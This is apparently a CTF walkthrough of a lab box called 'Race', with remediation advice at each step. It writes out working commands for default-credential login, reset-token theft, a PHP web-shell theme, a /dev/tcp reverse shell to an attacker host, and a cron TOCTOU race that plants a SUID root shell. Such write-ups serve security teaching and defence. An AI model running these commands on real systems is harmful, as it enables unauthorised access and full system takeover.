← all walkthroughs

Race

Linux· Hard
owned
2026-10-15
time to own
6m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found an Apache server hosting a Grav CMS site and a phpSysInfo status page. The status page accepted the default login admin:admin and its process list leaked the command line of a backup job, including a Grav 'backup' account password. That account could download a site backup, and the backup contained a password-reset token for a higher-privileged Grav user, 'patrick'. Using patrick's access, I installed a theme that held a PHP web shell.

They routed the install through their own proxy because the server had no internet access. The web shell ran as www-data and could read a world-readable maintenance script with a hard-coded password for the local user 'max'. SSH as max gave the user flag. A root cron job checked a script's MD5 hash and then ran it, in a directory writable by max's group.

I swapped the script for a named pipe to stall the hash check, then substituted a malicious script at the same moment. The cron job ran it as root and created a SUID-root shell, which gave full system compromise.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD4="<the-password-you-recovered, for max>"

Some commands also carry a value in angle brackets (<backup>, <burpport>, <token>), which you replace inline with what the step before it turned up.

Attack path: how the box was taken

1EnumerationNetwork service and web content discovery (T1595)
Scanned the host and mapped the web applications
A full port scan showed only SSH (22) and Apache 2.4.52 (80). The web root redirected to a Grav CMS site at /racers/. Directory brute-forcing also found the Grav admin login at /racers/admin and a Basic-Auth-protected /phpsysinfo page.
Nmap reported 22/tcp and 80/tcp. The /racers/ page identified itself as GravCMS (<meta name="generator" content="GravCMS">). /phpsysinfo returned HTTP 401.
Exact commands 5
shell

Find open ports.

$ nmap -p- --min-rate=1000 $TARGET
shell

Fingerprint the open services.

$ nmap -sCV -p22,80 $TARGET
shell

Add the virtual host names.

$ echo "$TARGET race.vl offsite-backup.race.vl" | sudo tee -a /etc/hosts
shell

Confirm the Grav CMS front page.

$ curl -ksS -L --max-time 10 --max-redirs 3 http://$TARGET/racers/
shell

Content discovery; finds /racers/, /racers/admin and /phpsysinfo.

$ feroxbuster -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
2Credential AccessDefault credentials (T1078.001) and credentials in process command lines (T1552)
Logged in to phpSysInfo with default credentials and harvested a leaked CMS password
The /phpsysinfo page accepted the default login admin:admin. Its 'Process Status' view lists the full command lines of running processes. One of them was a curl call with the Grav 'backup' account's username and password in the -u argument, so anyone who could view the page could read that password.
PhpSysInfo Basic Auth accepted admin:admin. The process list showed a curl command containing the Grav credentials <withheld>
Exact commands 2
shell

Confirm the default Basic-Auth login works.

$ curl -sS -u admin:admin http://$TARGET/phpsysinfo/
shell

Extract the leaked credential from the process list (the 'Process Status' view shows the same data).

$ curl -sS -u admin:admin "http://$TARGET/phpsysinfo/xml.php?plugin=complete&json" | grep -o 'curl [^"]* -u [^"]*'
FixRemove default phpSysInfo credentials and stop secrets appearing in process command linesHigh
WeaknessThe phpSysInfo status page was protected only by the default login admin:admin. Its process list exposed a backup job's command line, which contained a Grav account password in plain text.
FixRemove phpSysInfo from the production server, or restrict it to an internal network and give it a strong unique password. Never pass passwords as command-line arguments: use a protected credentials file with mode 600, a netrc file, or a token read from an environment file. Rotate the exposed Grav 'backup' password.
3Credential AccessPassword-reset token disclosure via backup archive (T1552.001, T1098)
Used the backup account to steal a password-reset token and take over the 'patrick' account
The leaked 'backup' account could only use Grav's Tools > Backup feature, but the zip it produced included user/accounts/patrick.yaml with a stale reset token. I asked Grav to send a new password reset for 'patrick', ran Backup again to capture the fresh token, and opened the reset link. This set a new password for patrick, a more privileged administrator, without cracking anything.
A re-run backup contained patrick.yaml with a new reset: value. The reset URL then accepted a new password and patrick logged in.
Exact commands 4
shell

Trigger generation of a fresh reset token. Add the admin-nonce field and session cookie from the form if Grav requires them.

$ curl -sS -X POST "http://$TARGET/racers/admin/forgot" --data 'username=patrick'
shell

Done in the browser with the leaked backup account.

$ Log in at /racers/admin as backup, then Tools > Backup > Backup Now, and download the zip
shell

Read the fresh reset token.

$ unzip -p <backup>.zip user/accounts/patrick.yaml | grep -A3 reset
shell

Take over patrick; substitute the token from the backup.

$ Open http://$TARGET/racers/admin/reset/u/patrick/<token> and set a new password
FixKeep reset tokens out of backups and limit what a backup-only account can obtainHigh
WeaknessThe Grav backup archive included user account files with live password-reset tokens. A low-privilege 'backup' account could therefore trigger a reset for 'patrick', read the token from a new backup, and take over that account.
FixExclude user/accounts and other secrets from backup archives, or encrypt the backups and store them off-host. Use a dedicated operator role that cannot download backups. Make reset tokens single-use with a short lifetime, and require email confirmation or MFA on privileged accounts. Rotate all Grav user passwords.
4Initial AccessMalicious theme/package upload leading to a web shell (T1505.003)
Installed a booby-trapped theme to get a web shell as www-data
As patrick, I used Grav's theme installer. The server had no internet access, so I pointed Grav's proxy setting at my own machine. They intercepted the installer's response and rewrote it to redirect to a malicious theme zip they hosted. The zip was a cloned theme plus a PHP file (img/cmd.php) and an .htaccess that disabled rewrite rules in that folder. Grav unpacked it into the web root, which gave command execution as the web server user.
A request to /racers/user/themes/aerial/img/cmd.php?0=id returned the www-data account, and a reverse shell connected back on port 1337.
Exact commands 5
shell

Build the malicious theme package (clone grav-theme-photographer first and add these files to it).

$ mkdir -p theme/img && printf 'RewriteEngine Off\n' > theme/img/.htaccess && printf '<?php echo system($_GET[0]);?>' > theme/img/cmd.php && zip -r pwn.zip theme
shell

Serve pwn.zip from my host.

$ sudo python3 -m http.server 80
shell

Burp listens on 0.0.0.0:<burpport>; intercept the response and rewrite Location.

$ In Grav Admin > System > Advanced, set Proxy URL to http://$ATTACKER_IP:<burpport>; then click Install on the theme and rewrite the response Location header to http://$ATTACKER_IP/pwn.zip
shell

Confirm code execution as www-data.

$ curl "http://$TARGET/racers/user/themes/aerial/img/cmd.php?0=id"
shell

Catch the shell with 'nc -lvnp 1337'.

$ curl -G "http://$TARGET/racers/user/themes/aerial/img/cmd.php" --data-urlencode '0=bash -c "bash -i >& /dev/tcp/'"$ATTACKER_IP"'/1337 0>&1"'
FixRestrict admin package installation and prevent executable uploads in theme foldersCritical
WeaknessA Grav administrator could install a theme from an arbitrary source via a configurable proxy. The theme's PHP file was unpacked into a web-served folder and executed as www-data.
FixDisable the admin package installer (GPM) in production and deploy themes and plugins only through a reviewed release process. Do not allow the proxy setting to be changed from the admin panel. Deny PHP execution in user/themes and similar upload directories, for example with 'php_admin_flag engine off' in Apache, and prevent .htaccess overrides with AllowOverride None. Require MFA on Grav admin accounts.
5Lateral MovementCredentials in files (T1552.001) and valid-account reuse (T1078)
Read a hard-coded password from a maintenance script and logged in over SSH as max
The home directory of 'max' was readable by the web user and linked to /usr/local/share/race-scripts. The script offsite-backup.sh in that folder held a plaintext password, and a comment claimed it was disabled although the password was still valid. I used it to log in over SSH as 'max', who belongs to the 'racers' group, and read the user flag.
Over SSH, id returned uid=1001(max) gid=1001(max) groups=1001(max),1002(racers) and the host name was race; /home/max/user.txt was read as <user.txt>.
Exact commands 2
shell

From the www-data shell; shows OFFSITE_PASS.

$ cat /home/max/race-scripts/offsite-backup.sh | grep -i pass
shell

Log in as max. The flag is returned as <user.txt>.

$ sshpass -p "$PASSWORD4" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=15 max@$TARGET 'id; hostname; cat /home/max/user.txt'
uid=1001(max) gid=1001(max) groups=1001(max),1002(racers)
FixRemove hard-coded passwords from scripts and restrict home directoriesHigh
WeaknessA maintenance script readable by the web server user contained a plaintext password for the local user 'max', and the account was still active even though a comment said the credential was disabled. The password worked over SSH.
FixDelete the password from offsite-backup.sh and change it. Use SSH keys or a secrets manager for backup jobs. Set /home/* to mode 750 or 700 and keep scripts holding secrets owned by root with mode 600. Restrict SSH to key-based logins (PasswordAuthentication no) and limit which users may log in over SSH.
6Privilege EscalationCron job enumeration (T1053.003) and insecure directory permissions
Found a root cron job that hash-checks a script in a group-writable folder
Watching processes as 'max' showed that every minute root ran /usr/local/bin/secure-cron-runner.sh. It computes the MD5 of /usr/local/share/race-scripts/offsite-backup.sh and runs that script only if the hash matches a known value. The runner itself was root-owned and could not be edited, and overwriting the script simply failed the check. However, the folder holding the script was writable by the 'racers' group, which includes 'max'. That meant I could replace the file itself, not just edit it.
Pspy showed the per-minute run of secure-cron-runner.sh and its md5sum check. The race-scripts directory was group-writable by racers.
Exact commands 3
shell

Review directory permissions and the runner logic.

$ ls -ld /usr/local/share/race-scripts && cat /usr/local/bin/secure-cron-runner.sh
shell

Watch the root cron job run each minute (upload pspy64 first).

$ ./pspy64
shell

Back up the original file and prepare the payload.

$ cd /usr/local/share/race-scripts && cp offsite-backup.sh offsite-backup.sh.bak && printf '#!/bin/bash\ncp /bin/bash /tmp/hello; chmod 6777 /tmp/hello\n' > shell.sh && chmod +x shell.sh
FixLock down the directory used by a root cron jobHigh
WeaknessThe folder holding the script that root executes was writable by the 'racers' group. Although the file was hash-checked, group members could still replace, rename or delete files in the folder.
FixMake /usr/local/share/race-scripts and its contents owned by root with mode 755 (files 644 or 755) and remove group write access. Remove 'max' and other non-administrators from the 'racers' group unless there is a clear need. Apply the principle that anything root executes must be in a directory only root can modify.
7Privilege EscalationTOCTOU race condition (CWE-367) and SUID shell planting (T1548.001)
Swapped the script during the hash check (TOCTOU race) to run code as root
Just before the cron job started, I replaced offsite-backup.sh with a named pipe (FIFO). When root's md5sum opened the pipe, it blocked waiting for data. While it was blocked, I renamed the pipe away and put the malicious script in its place. They then wrote the original script's bytes into the renamed pipe, so the hash matched, and the runner went on to execute the new file as root. The payload created a SUID-root copy of bash, which gave full control.
/tmp/hello -p returned euid=0(root) egid=0(root) on host race, and /root/root.txt was read as <root.txt>.
Exact commands 4
shell

Run just before the next HH:MM:00 so root's md5sum blocks on the pipe.

$ cd /usr/local/share/race-scripts && rm offsite-backup.sh ; mknod offsite-backup.sh p
shell

Run when pspy shows md5sum reading the file: move the pipe away, drop in the payload, then feed the original bytes to satisfy the hash.

$ mv offsite-backup.sh s ; cp shell.sh offsite-backup.sh ; chmod +x offsite-backup.sh ; cat offsite-backup.sh.bak >> s
shell

Use the SUID shell to confirm root and read the flag (returned as <root.txt>).

$ sshpass -p "$PASSWORD4" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null max@$TARGET '/tmp/hello -p -c "/usr/bin/id; /usr/bin/id -u; hostname; cat /root/root.txt"'
euid=0(root) egid=0(root)
shell

Restore the original script after the test.

$ cp /usr/local/share/race-scripts/offsite-backup.sh.bak /usr/local/share/race-scripts/offsite-backup.sh
FixReplace check-then-run integrity verification with a race-free designCritical
WeaknessThe root cron runner verified the script's MD5 hash and then executed the file by name. The file could change between the check and the run, and the hash read could be stalled by a named pipe. An unauthorised user used that gap to run their own code as root.
FixDo not verify and execute by path. Copy the file to a root-only location, verify the copy, and execute that same copy (or open the file once and verify and run from the same file descriptor). Use a signed script or package and a stronger hash such as SHA-256. Reject anything that is not a regular file, for example by checking [ -f ] before reading. Monitor SUID files created outside package paths and mount /tmp with nosuid.

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp